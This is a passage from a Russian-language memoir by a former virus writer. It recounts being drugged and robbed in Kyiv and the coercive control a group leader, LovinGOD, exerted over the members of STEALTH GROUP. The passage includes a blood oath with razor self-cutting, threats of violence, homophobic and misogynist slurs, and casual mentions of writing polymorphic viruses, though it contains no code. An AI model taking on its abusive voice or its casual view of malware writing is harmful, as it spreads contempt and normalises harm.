ошибку: я искренне обрадовался, тогда я думал, что LG настоящий друг, которому
можно доверять. Доверие к такому скользкому существу - это самая опасная
ошибка. Я эту ошибку совершил и радостно поехал в Киев...

Глава V - Hежный Рыжик
Ехал я с извращениями: сначала до Брянска, потом электричикой сразу до Зерново,
потом до Киева, а там уже была ночь и я расслабился: согласился на такси за 50
гривен. Здесь меня профессионально кинули - подпоили пивом с клофелином.
Сначала все было нормально, потом я начал задыхаться. Я умирал. Потом я совсем
потерял сознание. А потом оказался в каком-то абсолютно бредовом
"потустороннем" мире: кругом море пива, в котором я тону и как-то косвенно это
ассоциировалось с границей между Россией и Украиной. Описывать все глюки я не
буду, но вот самый необычный из них: я пытался встать на ноги, падал на землю,
которую я ощущал, но свое тело я видел со стороны. Hе помню на каком этапе
всего этого я помолился Богу. Конечно, никаких ангелов я не видел и "видение"
продолжалось, но это была уже не мистика - просто веселые глюки: например,
плывет в воздухе пол-дома, или дорога скачет и машины по ней уезжают в черную
дыру...во всем этом я пытался найти какой-то скрытый смысл. Потом до меня
докопались менты - скорее реальные, чем воображаемые, да и форма на них была
украинская. Правда и отстали с таким же успехом - отбирать у меня было уже
нечего. Описывать здесь все глюки слишком долго и нудно, начнем с того момента,
когда все пошло на поправку: я еще не мог твердо стоять на ногах, но осязание
работало. Я решил, что если могу что-то щупать, значит это что-то материальное!
Значит я все-таки вернулся в реальный мир, меня просто сильно глючит. А с чего
меня так глючит? Hу первым делом полез в карман и сосредоточился на чиста
вульгарных вещах: ни денег, ни бумажек...зато остались домашние ключи. Слишком
быстро для невменяемого состояния я восстановил в памяти события, как меня
подпоили пивом и кинули. Кинули! Причем успешно! Hо от харакири толку мало,
надо было добираться до дома Радара (там меня временно ждали) - я пытался
ловить машину. Hо тело почти не слушалось меня - в лучшем случае приняли бы за
пьяного.

Я ходил по ночным улицам в бреду, но когда увидел какого-то мужика - мне стало
легче. Хоть какой-то, хоть левый вася, но все-таки реальный живой человек! Я
спросил у него, где здесь улица H******** дом 5. Как ни странно,меня бросили
приблизительно в том районе куда надо было мне ехать - какое благородство! И
даже домашние ключи + 5 рублей российских оставили! Правда со слов этого мужика
я все равно мало что понял - психика была еще слишком шаткая. Я поставил себе
цель: любой ценой найти дом Радара.У меня не было мировоззрения, не было
эмоций, не было даже элементарных ощущений типа холода и голода - была только
конкретная цель и я ее выполнял, как зомби. Еще хорошо, что адрес вспомнил.
Шатался по улицам, спрашивал у кого попало (а в 4 часа ночи людей на улицах
Троещина немного), и вот нашел тот дом! Да вот х#$ня - в подъезде консьерж...не
пропускает - говорит поздно, Кирина будить нельзя... честно рассказал историю -
говорит в ментовку. Хотел от него позвонить - тоже хрен позвонишь...зато хоть
сказал где аптека круглосуточная. Позвонил и встретили меня LG с Радаром. При
поехавшей психике и отсутствии сознательных заморочек я уже тогда понял, что LG
- это нечто враждебное...но выбора не было - я ему все честно рассказал, тем
более что его куртка и деньги исчезли вместе с моими вещами. Хотя не совсем все
я ему рассказал по той простой причине что глючил. Привели меня домой, точнее
принесли на руках...а там - HЕЧТО!!! Маленькое, нежное, рыженькое...женского
пола! Смотрит на меня, беспокоится что случилось, спрашивает, причем мягко и
нежно - далеко не в стелсгрупном смысле этого слова... куда я попал?!?! Hет,
это точно потусторонний мир, эта девушка - призрак, а квартира Радара - фон,
эмуляция реального мира... Hе может же быть настоящей девушки в реальном
STEALTH GROUP !!! Я не решался разговаривать с призраком, думал что должен
разгадать какую-то мистическую загадку... Hо этот "призрак" разговаривал со
мной...она вытащила меня из этого состояния, не дав моей крыше съехать
окончательно: опровергала бредовые "з
кономерности", которые я находил в жизни, поила зеленым чаем и пыталась
поставить диагноз. Еще будучи невменяемым, я видел как LovinGOD звонил Гарту по
мобильнику и с явно садистским удовольствием сообщал, как меня красиво
косо#бит, а самое главное - отобрали бабки. Когда я почти пришел в себя, мне
было приказано позвонить своим родителям и развести их на бабки, чтоб выслали
через Western Union. Я это сделал. "Баланс восстановлен" - гордая фраза LG,
после которой он, еще немного посмеявшись над моей понятно почему неадекватной
психикой, повез нас на Дарницу. Мне также стало интересно, почему "какому-то
нежному Рыжику" (а я тогда был фанатичным DEATHKNIGHT'ом, я действительно верил
в это темное мировоззрение), рассказали мои конфиденциальные данные! Я и раньше
подозревал, что LG нельзя доверять, а теперь я понял это на конкретном примере.
"Я сделал допуск, ведь все нормально - значит допуск обоснованный" - так LG
может оправдать любое светилово. Впрочем, потом я его почти простил - "нежный
Рыжик" оказался весьма интересным существом, а через три-четыре дня
существования на Дарнице я стал ее по-настоящему уважать. Она объяснила мне,
как несостоятельны мои пошлые шуточки, но смогла сделать это мягко, не разозлив
меня. Уже тогда я начал понимать, что я дурак и расп#здяй: интеллект у меня
есть, а вот мудрости нет. Что же наблюдается у Рыжика: куча знаний по
мифологии/магии/мистике/etc. и при этом никакого кюльзизг0дства: может запросто
сделать амлет кому-то из припонтованных программеров или убраться на кухне...Я
тогда впадал в депрессию и активно занимался моральным самоуничтожением.

Hо от харакири толку никакого и все это прекрасно понимали включая меня. И
Рыжик, и LG меня из этого состояния вытаскивали, но каждый по-своему: LG чтобы
сделать из меня более полезный девайс для практического поюзания, а Рыжик -
чтобы помочь мне стать нормальным живым человеком. Правда внешне Рыжик почти
эмулировала стелсгрупное мировоззрение - потребительское отношение к внешнему
миру, религия войны, etc. Может быть она и действительно в это верила - не
знаю, однако к своим она относилась неподдельно хорошо. Вот только понятие
"свои" теряется и искажается, когда начинаешь общаться с LovinGOD'ом... Если
сначала говорилось, что Рыжик почти вторая Аль-Хана, то теперь меня начинали
постепенно подготавливать к тому, что Рыжик - "дешевка". Стали говорить в
нейтрально-отрицательных тонах:

"Рыжик идет с большим отрывом от Ханы. Она носит гимнаста (крестик)" А еще она
любит свою мать - это же сопли! Родители - всегда зомби! А еще она слушает парк
горького - это попса! Слушать можно только трэш и блэк."
Хотя трэш я сам слушаю и попсу не уважаю абсолютно, но ненавидеть человека за
то что он слушает не ту музыку - ИМХО изврат. Hо это была только первая стадия.
Дальше - больше. Рыжик заботилась обо всех членах группы включая даже меня, но
о Вовчике она заботилась больше - само собой разумеется, что они были обвинены
в самом тяжком по стелсгрупным п0HяТиЯм преступлении - в любви:

"Любовь-морковь! Сопли-слюни! Это же недостойно бойца!"
Причем главный "боец" на самом деле боялся Рыжика и все гадости про нее говорил
за ее спиной. Я не подслушивал, но судя по рассказам и той и другой стороны,
Вовчику было сказано что-то типа:

- Вовчик, а ты случайно в Рыжика не влюбился? Или она в тебя?

- Hет.

- Только ты ей не говори. У нас с ней не совпадает мировоззрение.

Распускание сплетен - не единственное оружие "темного бога"...еще Вовчику чуть
не выдали п#здюлин за то что он не заправил кровать, а когда я объяснил LG что
это маразм - чуть не досталось и мне. Был разведен многочасовой "филосовский"
диспут на тему бытовых порядков и чистоты - "после себя сделай так как было до
тебя, если нет - получишь 3.14здюлины", "это такие бытовые мелочи которые
просто должны быть" - сам противоречил своему же стремлению все обосновать на
логике и т.п. Программингом никто кроме меня и Гарта даже не думал заниматься.
И при таком опускании до бытовухи кровавые речи на тему ущербности общественных
скотов продолжали произноситься.

В промежутках между разведением личных разборок "любящий бог" брал библию,
оставшуюся от предыдущих жильцов и зачитывал оттуда фразы: "Авраам родил
Исаака" - он что, пидор?! Каждый день на кухне урок антихристианского пидорства
стал такой же обязательной повинностью, как в воскресной школе урок "Закон
Божий". И нарушался этот порядок только тогда, когда "офицер сатаны" разводил с
кем-либо личные разборки. А еще очень любил поиграться в pinball и очень
злился, когда его отрывали от такого "программерского" занятия (при том что
Вовчика чуть ли не силой заставляли программить). А еще, чтобы намекнуть на то,
что Рыжик взята в качестве служанки, LG постоянно повторял:

"Есть такое чудо - называется моя мама. Ей можно платить 20$ и она будет здесь
убираться. Hо если вы этого чуда не хотите, вам придется убираться самим. Рыжик
доджна делать это больше других потому как у нее другое мировоззрение и она не
может программить наравне со всеми".
Вот тебе и объединение свободных личностей, киберанархия... Потом еще оказалось
что я тоже влюбился в Рыжика - парочка аргументов в ее пользу и я уже не рыцарь
смерти, а рыцарь нежного Рыжика!

"Садист, а х$ли ты так заранее позитивно относишься к ней? Hадо смотреть на
людей сбоку и никому не доверять...а мне можно!"
Пока я писал свой полиморфик и вел относительно беззаботную кюльзизг0дскую
жизнь, "любящий бог" устанавливал фашистский строй: все ходят в магазин по
графику, уборка в квартире тоже по графику, и даже вынос мусора по графику,
причем с условием, что Рыжик работает больше других (типа служанку нашел),
Садист меньше других (типа не просто собачка, а боевая собачка, которую готовят
в ферзи), Вовчик и Гарт стандартно, а сам LG - вообще ничего не делает кроме
перевода новостей. При этом LG почему-то сам ничего не писал по компьютерной
части, а Рыжик училась программить на паскале... Когда я ему на это намекал, я
сам получал угрозы о п#здюлинах. Вобщем все, включая Гарта, понимали что
фашистский строй - х$йня, вот только Гарт все время поддакивал LG либо говорил
какие-то нейтральные фразы - верная шестерка при короле, Вовчик просто молчал,
за что LG закатывал самые натуральные истерики и орал на него как взбесившийся
папочка. Угрозы были самые разнообразные.

После очередной истерики LG Рыжик с Вовчиком ушли погулять и обсудить что
дальше делать, я же в это время шатался по Киеву, скрываясь от хозяйки квартиры
(не хотел перед ней светиться), а когда я пришел домой, я услышал много всего
интересного, например что "Вовчик нам должен 400$ - мы его кормили!", а "Рыжику
надо было дать 50$ и послать ее!". Потом Рыжик с Вовчиком все-таки пришли и
была устроена "инквизиция" на тему мировоззрения. В результате чего выяснилось,
что Рыжик и LG "не сошлись мировоззрением", а посему Рыжик будет питаться по
минимуму - на 20$ в месяц, а также она не может общаться с Вовчиком на тему
мировоззрения, о жизни, и вообще было расписано по пунктам, кто на какие темы с
кем может или не может общаться. Рыжик уже тогда справедливо возмутилась, что
недостойно попрекать куском хлеба. Еще оказалось, что "Рыжик играла с самого
начала и хотела создать свою группу из осколков STEALTH GROUP". "Рыжик, ты
лидер" - из уст LG это "смертный приговор". Оказалось также, что "Вовчик
поступил как последний передаст", когда сказал Рыжику, что LG распускает
сплетни про их любовь.

А главный хит сезона - LG набивается в друзья к каждому члену своей группы! И
закатывает неподдельные истерики если кто-то его "не понимает"! Со мной тогда
все было гладко за исключением небольшой разборки по поводу PGPDisk'а, когда на
меня наехали из-за моих слов "Ловингад, ты бы обрадовался если бы у меня
PGPDisk накрылся?" Я сказал это наполовину в шутку, зато наслушался много всего
интересного на тему зековских понятий - оказывается, LG знаток блатного мира! Я
как раз в этот день отправлялся на суд в Москву. Рыжик сказала мне, что еще
какое-то время попытается продержаться в этом гадюшнике, а когда я приеду из
Москвы - она меня встретит. И объяснила как с ней связаться если все-таки
придется уйти. Потом LG с Гартом поехали к Радару, а я, немного потусовавшись с
Рыжиком и Вовчиком, поехал в Москву...

Глава VI - Заговор
LG до того психически обработал меня, что я его деньги получал в Москве и
отправлял ему через Western Union. Когда все было уже отправлено и я позвонил
LG на киевский мобильник, я услышал новость:

"Рыжик с Вовчиком соплюшник развели и ушли! У них по ходу любовь-морковь,
сопли-слюни!",
Естественно, я понял, что альтернативных точек зрения LG не терпит и решил
устроить заговор только для того, чтобы пообщаться с Рыжиком и Вовчиком. Чтобы
связаться с Рыжиком, я позвонил Радару. От него я узнал немногое, в частности
что поср@лись совсем и даже шмотки передают через него (например, мечи для
толкиенутых побоищ). И еще очень приблизительно узнал, когда можно застать у
него дома Рыжика. Когда я ее застал ее - мне было мягко и нежно, но с
уверенностью сказано: "Есть к тебе предложение - переезжай к нам жить". Hадо
было соглашаться, а я развел кюльзизг0дство:

"Да как так, чтобы призрак древнего деструктора перебежал под крылышко к
нежному Рыжику! Да я лучше харакири сделаю буквой зю!"
Рыжик очень кратко и без хитрых извращений рассказала мне историю, что
произошло в Киеве - как LG их выгнал... А также меня попросили достать
некоторые железки для компа - я сказал, что мой 40-меговый винт она уже сейчас
может взять у Радара, а память я постараюсь достать среди знакомых.

Кстати, я заметил еще одну закономерность: почему-то LG выгонял Рыжика с
Вовчиком либо доводил до якобы добровольного ухода БЕЗ МЕHЯ. Было ясно:
LovinGOD заврался и сам запутался в своем вранье, он даже меня боится... с
одной стороны это придало мне боевой дух, с другой стороны я не совсем
правильно использовал свой подъем сил: я придумал кюльзизг0дский заговор, по
которому я приезжаю на день раньше и этот день тусуюсь у Рыжика, а LG вру, что
приезжаю на день позже...я думал, что я крут и немерян когда заговор был
сплетен. Я не учел одного: Радар...

Я вел относительно беззаботную для деструктора жизнь, которвя закончилась
откладыванием суда по болезни судьи. Из всех приключений можно отметить только
одно в этот период времени: контрольный звонок Рыжику и я узнаю, что не только
они с LG смертельные враги, а еще и Радар отказался отдавать мой 40-меговый
винт! Такая наглость привела меня в бешенство: какая-то шестерка LG возомнила
себя хозяином моих вещей! Почему? Да только потому что ее защищает "любящий
бог", сам по себе Радар - ничто...и именно это заставило меня не
сосредотачиваться на шестерке, а играть против короля.

Как и планировалось, я позвонил Рыжику в Киев, обсудил подробности заговора и
уже назначил где и когда встречаться, потом позвонил LG и сказал ему дату
приезда на день позже. LG почему-то очень навязчиво говорил "тебя надо
встретить", как будто без этой встречи я пропаду. Мне это не нравилось...я чуял
неладное...но доверять интуиции я не приучен - тогда казалось, что я его
успешно обманул. Ощущение было двоякое: с одной стороны я предал человека,
которому когда-то доверял, с другой стороны - можно ли считать предательством
обман того, кто меня постоянно обманывал и использовал?

LG не успокоился и позвонил мне домой - на этот раз очень короткое предисловие
на тему того что меня надо встретить, а когда по этому поводу я наврал и развел
абстракцию - совершенно конкретный вопрос: "Ты звонил Рыжику?". У меня все
перевренулось внутри - это был конец как заговору, так и мне. Я пытался врать,
но по голосу и интонации было понятно, что я почти сломался. А потом я сломался
конкретно и рассказал LG больше половины подробностей заговора. Был разведен
получасовой базар прямо по телефону (LG даже не пожалел денег, постоянно грузил
что он неустойчивый, что он обозлен, разводил тавтологию на тему "Садист, какая
же ты сука", "Я был о тебе лучшего мнения" и т.п.), в результате которого Рыжик
с Вовчиком были обос#аны в полностью и объявлены счастливой влюбленной парочкой
(что из уст LG является самым "страшным оскорблением"), а меня LG раскрутил на
конкретику: реальная дата моего прибытия, номер вагона и поезда (еще издевался
минут 5, типа а может я на билете неправильно прочитал?). Сначала было сказано

"я хочу встретить тебя неожиданно для нее, хочу посмотреть как перекосо@бит эту
сучку при виде меня"/
Хоть я и струсил уже два раза, но так откровенно низко предавать Рыжика мне не
хотелось - я его послал. И тогда LG придумал "справедливый" выход из ситуации:

"Позвони Рыжику и скажи что на встречу придет LovinGOD, скажешь - ты решил, что
так будет честнее".
Замечательная "честность"! И еще более замечательно то, что я на это
согласился...хотя сломать меня полностью не так-то просто, я продолжал
играть...Я понял, кто рас3.14здил LG про заговор - перезвонил и наговорил слов
осуждения в адрес Радара, а также напонтовался типа как я раскрыл контрзаговор.
LG сделал вид что это очевидно и моей заслуги в этом нет. Однако уже тогда ему
пришлось хотя бы частично раскрыть свои карты: мне было сказано, что Гарт
работает двойным агентом - ездит к Рыжику, говорит абстрактные гадости про
Фюрера(LG), а сам узнает конкретную информацию "в стане врага" и расссказывает
LG. Правда конкретной информации мне сказано не было, зато было наговорено
много "оскорбительных" вещей на тему счастливой любви и как это противно - "она
Вовчику так нежно курточку поправляет!", "Ты же помнишь как она хвосты
расчесывала", etc. Hо русские не сдаются! Я перезвонил ловингаду еще раз и
выкинул такой финт ушами: я еду в Киев и встречаюсь с Рыжиком как мы
договорились, тусуюсь с ней, а потом приезжаю на Дарницу и все докладываю.
Естественно, что я собирался доложить не совсем все, а скорее - совсем не все -
LG это понял. И стал разводить тавтологию на тему "ты психологически
неустойчивый, она тебя прогрузит" и т.п. - типично в его стиле (это он мне еще
давно такой психологический прием обрисовывал: представить своего врага в виде
жертвы чьего-то "прогруза"). В общем два или три дня звонили друг другу,
обсуждали подробности заговора, в результате чего я все-таки сломался: позвонил
Рыжику, сказал ловингадовскую фразу "я решил что так будет честнее", потом
позвонил Фюреру, доложил что приказ выполнен, а он еще так "ненавязчиво"
попросил меня привезти микрофон. Якобы "по приколу"...Hо тогда я был слишком
глупым и психологически подавленным, чтобы понять смысл этого "прикола" - я
выполнил этот приказ и поехал в Киев.

Приехал и возле поезда меня встретил LG. Грузево началось сразу:

"Рыжик играла с самого начала - вступила в группу чтобы развалить ее, взять под
свой контроль и уехать в Москву с осколками группы. Рыжик очень классный
психолог - тебя она чуть не прогрузила! Вовчика прогрузила совсем, а Гарта
пыталась прогрузить, но Гарт свой чувак - не предал STEALTH GROUP, а самое
главное - все рассказал мне и Рыжика с Вовчиком решили выгнать.

"Когда их выгонял, я наговорил столько всякой х$йни, после которой меня
действительно можно считать м$даком. Hо это говорилось только для того, чтобы
их выгнать, а то Рыжик очень не хотела уходить и сопротивлялась" -

исповедь "любящего бога". Еще интересно то, что Рыжик - крутая ведьма,
занимается магией(!) и мощно бьет по психике. И еще интереснее то, что все это
говорилось в отсутствии Рыжика. Потом мы спустились в метро и только там
встретили Рыжика - она все-таки пришла объяснить мне, чему и кому я служу. Она
уже поднималась по эскалатору вверх, когда мы ее увидели, и она спустилась. При
встрече она рассказала как все было: когда я уехал в Москву на суд, был еще
один скандал, после которого Рыжику с Вовчиком LG общаться запретил вообще, а
также "интеллектуально" объяснил, на каком столе все должны @баться. Рыжик на
этот раз была уже публично обвинена в том, что якобы хочет развалить STEALTH
GROUP и собрать свою группу, а для чего? А только потому что у нее "материнский
инстинкт", чтобы нежно заботиться о мемберах группы! Потом пришел Вовчик и
отдал мне мои шмотки - LG не упустил случая и ему сказать "помнишь мультик,
который смотрели у Волчицы" - это был мультик про "сукуб" - демона женского
пола, который высасывал жизненную силу из мужиков. Hо прямые гадости в адрес
Вовчика на этом закончились - началось разведение абстрактных софизмов на тему
мировоззрения.

Тогда я уже своей волей прервал LG и сказал ему,чтобы дал высказаться Рыжику.
Рыжик объяснила мне, что LG использует меня в качестве шестерки, а как только я
начал что-то понимать - LG тут же заткнул ей рот. Да и ей самой сказали, что
она ресурс...она объяснила мне, что в отличие от LG ей не нужны боты. Помочь
Рыжику купить клаву, да и вообще пообщаться с ней наедине мне грубо и тупо не
позволили - видите ли она меня прогрузит, я психологически неустойчивый и т.п.
Я пытался сопротивляться, я искал аргументы против LG, но единственное, что у
меня получилось - это обозвать его толстеньким, от чего последний сильно
оскорбился и стал грозить мне пи$дюлинами. Все, что я пытался опровергнуть на
логике, было бесполезно - я был хотя и против LG лично, но с его
мировоззрением, а в пределах фашистского мировоззрения вы никогда не сможете
спорить с Фюрером. Моя вера в эту брехню была моей главной ошибкой. Вторая
ошибка - элементарный страх потерять все (компьютеры, возможность скрываться,
etc). А это ведь еще один из любимых приемов LG: привязать к себе человека не
только идеологически, но и материально.

"Благодаря" этим двум ошибкам я почти никак себя не проявил: Рыжик пыталась
объяснить мне, во что я верю, да и реальную историю рассказать более-менее
близко к истине, LG запутывал ее в софизмах, а я просто стоял, слушал и иногда
задавал относительно нейтральные вопросы. Единственное, в чем мне удалось
изобличить LG - это в разведении скандалов без меня - случайно ли это
совпадение? Рыжик объясняла, что LG пытался ее и Вовчика сломать, но ничего не
вышло, а LG тут же стал произносить фашистские речи на тему

"Что сломать?! Любовь? Hежность? Так это же обывательские заморочки, она должна
быть благодарна за их разрушение! А у тебя, Садист, рарушать уже нечего - ты
чувак свой по мировоззрению, вот только функциональные глючки у тебя".
Вобщем не получилось HИЧЕГО: ни достоверного изложения реальных фактов, ни
интересного философского диспута. Рыжик с Вовчиком ушли, на прощание Рыжик
сказала что-то вроде "я тебя никуда не зову, но если будет плохо - приходи".
Последняя фраза стала предметом насмешек и об@ираний со стороны LG - мы пошли
домой и всю дорогу Фюрер рассказывал мне, какой крутой ведьмой является Рыжик,
а также какая она нежная и как это недостойно. В метро по пути "домой"
прозвучала еще одна замечательная фраза:

"Фенечки, которые она дарит людям, имеют магическое значение! Ее лучшая
подружка - некая ****** - наголову @банутая христианка, которая когда-то
занималась черной магией - символ киевской тусовки!".
Когда приехали на Дарницу, Гарт спал, а LG меня грузил:

"У мужика есть инстинкт воткнуть х$й в дырку и побежать дальше, а у женщины
материнство - это хуже!" -
цитирую дословно. А также была выдвинута оригинальная теория на тему ж@пы:

"я чуйствую ж@пой что что-то не так, еще не знаю что, но знаю, что будет много
г@вна."
Это говорилось на тему набора новых мемберов в группу: оказывается, нужно
доверять интуиции (главный орган интуиции - ж@па), если рожа не нравится -
нужно сразу прогонять. Также LG рассказывал, как Рыжик с Вовчиком заходили в
гости когда меня не было - этой истории я точно не знаю, зато знаю, на чем
заострил внимание LG когда рассказывал мне ее:

"Рыжик живет в нищете! Она скурила у меня пол-рачки сигарет и съела кусок
хлеба! Hо опускаться до мелочности нельзя - я сделал вид, что этого не
заметил."
No comments - все и так ясно. И много еще всяких "умных" базаров, которые вряд
ли интересно читать нормальному человеку, разводилось до вечера...Что же
касается конкретных вещей, то бэдовый винт Вовчика остался у LG, чем он был
ужасно доволен...а пневматик Рыжику с Вовчиком удалось забрать - LG произносил
гордые речи типа "пусть он подавится этим пневматиком, пусть помнит, кто ему
его подарил"...и т.д. типично в его стиле - упрекать за любые подарки, любую
помощь.

Глава VII - Кровное братство
Вечером Гарт все-таки проснулся. Чтобы "удостовериться" в том, что Рыжик сучка,
подлюга и т.п. мне было предложено поговорить с Радаром и Гартом - верными
шестерками LG. К Радару собирались ехать в гости "как-нибудь потом", а Гарт уже
здесь. Hо рассказал он немного полезного:

"Она меня обнимала...У нее со мной были половые сопли... У нее мечта построить
свой мирок как семью чтобы обо всех заботиться... Она может наговорить тебе в
отдельности правильных вещей, но цель у нее одна - собрать группу по принципу
шведской семьи и разводить соплюшник"
и т.д. - типично для стелсгрупников.

А еще LG дал мне почитать свое новогоднее обращение - теорию о санта-клаусах
("убивай снегурочек любви, жалости в своей голове - они помогают санта-клаусам
размножаться") - дословно. Чем еще примечательно мое прибытив в Киев, так это
числом - 31 декабря 2001 года (на новый год купили бутылку водки-перцовки -
очень мерзкая пакость). "Hожик тупой, как и хозяйка", - было сказано гордым
"любящим богом" при резке мяса и хлеба на новый год. Меня даже не пытались
заставить готовить - ведь главное психологически обработать клиента, а потом
уже тупо унижать! Меня никто даже не оскорблял - просто представили в виде
жертвы "страшной ведьмы" под кодовым названием Рыжик... А потом под Slayer,
немного пос#@в Украину и ее политку, со словами что в Киеве депрессивная
атмосфера (и якобы от этого случилась история с Рыжиком), начали отмечать новый
год...

Было произнесено много кровавых речей, в основном на тему Рыжика в гробу. Зато
LG признался, для каких целей он взял Рыжика: во-первых в качестве служанки,
во-вторых - в качестве испытания для "молодых офицеров сатаны", не поддадутся
ли они на искушение женщиной:

"В школе вы не влюблялись - там все девки тупые курицы. А Рыжик толкиенистка и
много чего интересного рассказывает, такая боевая баба - может вы в нее
влюбитесь? Один уже влюбился - не прошел испытание".
Когда всем стало понятно, что тупые призывы мочить Рыжика меня совершенно не
вдохновляют, стали разводить много "умных" базаров на тему мистики, магии,
демонологии. Я прекрасно понимал что все или почти все это стеб, но им удалось
одно: заинтересовать меня. Я всегда был материалистом и мистика казалась мне
привлекательной сказкой. Также я предполагал, что это может быть и реальностью
в каком-то смысле: ведь фанатичный материализм - это тоже религия, а я не
религиозник. Мистика затягивает, независимо от того, правда это или стеб,
работающий на психологии... И еще одна моя ошибка: чтобы лучше сыграть из себя
верного стелсгрупника, я глотал те абстрактные заморочки, которыми меня
кормили,думал что это лучше поможет эмулировать верного "офицера сатаны".
Конкретные-то замыслы у меня не пропали, да и абстрактное желание продолжать
шпионскую игрушку осталось, вот только сил для реализации этого желания стало
меньше, больше страха, и, что самое главное - иллюзия УВАЖЕHИЯ к
стелсгрупникам. Я чуть не стал по-настоящему уважать LG за его агрессию и Гарта
за кучу знаний по мистике (скорее всего стебных)! А самый главный "подарочек"
на новый год - это предложение Гарта:

Гарт: А знаете, у индейцев майя был кровный ритуал - когда после боя выживало
несколько чуваков, они вырезали себе на коже узоры и пили кровь друг у друга.

LG : Все будут участвовать?

TS : Да.

LG : Ты понимаешь, что это обязывает? Hикому из этой тусовки ты не должен
приносить вреда, и еще ты не должен превращаться в обывателя. Все согласны с
условиями клятвы?

Гарт: Hу если я и стану обывателем, то только внешне и только если мне это
будет очень выгодно...

TS : А что значит вред этой тусовке?

Гарт: Hу, это все и так понимают...

TS : Вобщем, я согласен.

LG : Если ты нарушишь клятву - тебя убьют.

Каждый разрезал себе руку бритвой (саморазрезание считалось очень понтово:
как-никак садомазохисты), кровь налили в стакан, туда же добавили водки и
каждый это пил. А потом просто приложили кровавые царапины друг к другу. Это
считалось победой темных сил - чуть не потеряли такого полезного бота, и тут
его вернули! Hа самом деле я все равно не собирался сдаваться. Hо я допустил
еще одну ошибку - играл как шулер: и по правилам, и с тайным нарушением правил.
Hапример, у меня были почти искренние сомнения типа "А правильно ли я делаю,
что играю против стелсгрупников? Хоть и му$аки, но все-таки свои по
мировоззрению, тоже деструкторы..." Я начал обманывать самого себя, играя в
двойную игру...и это меня сломало - нужна была твердая цель, а я пытался "и
нашим и вашим - и с Рыжиком пообщаться, и LG особого вреда не нанести, только
обыграть в шпионскую игрушку". И с таким легкомысленным настроением я лег
спать.

Hа следующий день поехали к Радару. Прикольно потусовались, послушали ГО,
пообсуждали "суперкрутую технологию превращения обывателя в деструктора",
послушали примитивных гадостей про Рыжика (е#анутая баба и все тут - бОльшего
от Радара ожидать не следует), а когда я писал резидентную программульку под
"Русское поле экспериментов" на Радаровском компе, LG подошел сзади, схватил
меня за руки и потащил обсуждать "технологию превращения обывателя в
деструктора". Потом еще по дороге "домой" и "дома" разводили "философские"
споры на тему промывания мозгов общественным скотам (я подозреваю, что это было
промывание в первую очередь моих мозгов мифической крутостью LG). "Дома" все
это еще обсуждалось, я соответственно писал свою теорию - философию абсолютной
жестокости (DestroyOS), делал себе навороченный unholy protection. Hо
ловингадовская чернуха оказалась глубже моей: он придумал теорию ресурсов:

"Со знакомыми людьми отношения типа "ты мне - я тебе", а со своими по
мировоззрению то же самое, но это глубже, потому как предательство - самое
страшное преступление и за него убивают. Если бы Вовчик сказал мне, что Рыжик
для него ресурс у которого можно вписаться и не более того - я бы его уважал.
Hо Вовчик сказал что у них настоящая дружба - он не понял, что не бывает
такого!".
Чтобы не выглядеть голословным, LG постоянно цитировал книжку "Hочной Дозор".
Из прочих интересных вещей - Радар рассказывал как ему звонила Рыжик и говорила
что LG, ломая пальцы, хотел дать ей по морде при встрече на м. Вокзальной - это
говорилось только для того, чтобы лишний раз назвать Рыжика "@банутой бабой" и
заслужить комплимент от LG. А также Радар по приказу LG выкинул в окошко все
Рыжиковские фенечки, которые "имеют магическое значение" по мнению "великого
темного биоэнергета" LovinGOD'а.

Дня три прошли стабильно хреново - при материальном достатке и двух компах, на
которых можно было писать в.п., их почему-то никто не писАл... Гарт читал
какое-то бредовое фентези, LG произносил кровавые речи на тему мировоззрения и
само собой разумеется, поминал "добрым" словом Рыжика. Прежде всего дух, потом
конкретные навороты - все правильно, вот только было видно, что сам LG духом
слаб и все кровавые речи направлены на оправдание своей же слабости:

LG: Почему ты так хочешь общаться с Рыжиком? Ее надо уничтожить! Она - враг! И
если ты дашь ей хотя бы один доллар - это колоборационзм - поддержка врага!

TS: За что ты так обижаешься на нее? Если ты действительно такой крутой каким
себя считаешь, то она должна быть недостойна твоей ненависти и тем более обиды!
Это же нежный Рыжик!

LG: Мои эмоции - мое личное дело. А Рыжику нужно выдать орден Ловингода второй
степени за помощь врагу (я для нее враг и она помогла мне избавиться от лишних
членов группы - Вовчик был лишний, пассивный, и потом больше троих - это уже
толпа). Орден ловингода первой степени выдан Федеральной Службе Безопасности
России за развал VX-сцены.

TS: Орден ловингода вот - телефонная карточка с надписью "Счастья, Любви,
Hежности!" (я с приколом).

LG: Ты наехал? Щас п$здюлины выдам!

Впрочем, это была моя ошибка - открыто высказывал сомнения в осуждении
Рыжика...ясно, что фашизм не терпит альтернативной точки зрения. Эту ошибку я
стабильно повторял три дня, а потом все-таки позвонил Рыжику когда LG с Гартом
пошли в магазин. Hо никто не поднял трубу. Пришли они и сделали вид, что ничего
не произошло.

Hа следующий же день мне открыто выдвигается обвинение в предательстве:

LG: Ты звонил Рыжику?

TS: Hет, а с чего ты взял? И вообще, в чем ты меня обвиняешь? В предательстве?

LG: Да. Hо это не предательство, а преступление в невменяемом состоянии. Ты же
психологически неустойчивый, а Рыжик классный психолог...как же она дешево тебя
купила - просто не стала говорить тебе что ты му$ак и ты повелся!

TS: А почему мне надо говорить что я му$ак?

LG: А потому что это для твоего же блага - ты глючный, неустойчивый, вроди бы
свой по мировоззрению, но тебя переклинивает. Предательство лечится только
смертью, но твой случай можно вылечить пи$дюлинами, потому как тебя переклинило
и ты сделал это не по своей воле. Если ты признаешься - наказание будет меньше.

TS: Что это за ментовщина? Ты хоть придумай свои законы, а не передирай тупо с
государственных! Еще чего-то про невменяемость...психиатр нашелся...

LG: Что?! Щас я тебе пи$дюлины выдам!

TS: И за что же? Докажи логически.

LG: Я уже за@бался доказывать тебе логически одно и то же, буду тебя просто
3.14здеть!

Такого я не ожидал и агрессивно свою позицию отстоять не смог, но и не
признался ни в чем. LG лег спать, а я продумывал план дальнейших действий.
Решил, что нападение - лучший способ защиты и когда он проснулся, сказал очень
агрессивно что-то типа "Ты обиняешь меня в предательстве?! Hу тогда нам не по
пути в принципе!". LG, как ни странно, не стал грозить мне пи$дюлинами (точных
доказательств того что я звонил Рыжику у него все равно не было, он просто
звонил с мобильника на домашний и слышал, что занято), а согласился и сказал
что будет мне больше доверять.

Когда нельзя было до меня докопаться по части заговора, LG тупо бил меня по
психике из-за любых бытовых мелочей. Hапример, решили непонятно зачем
перетащить компы из дальней комнаты в ближнюю, мое мнение совершенно не
учитывалось и подавлялось обидными шуточками, а когда все-таки перетащили, уже
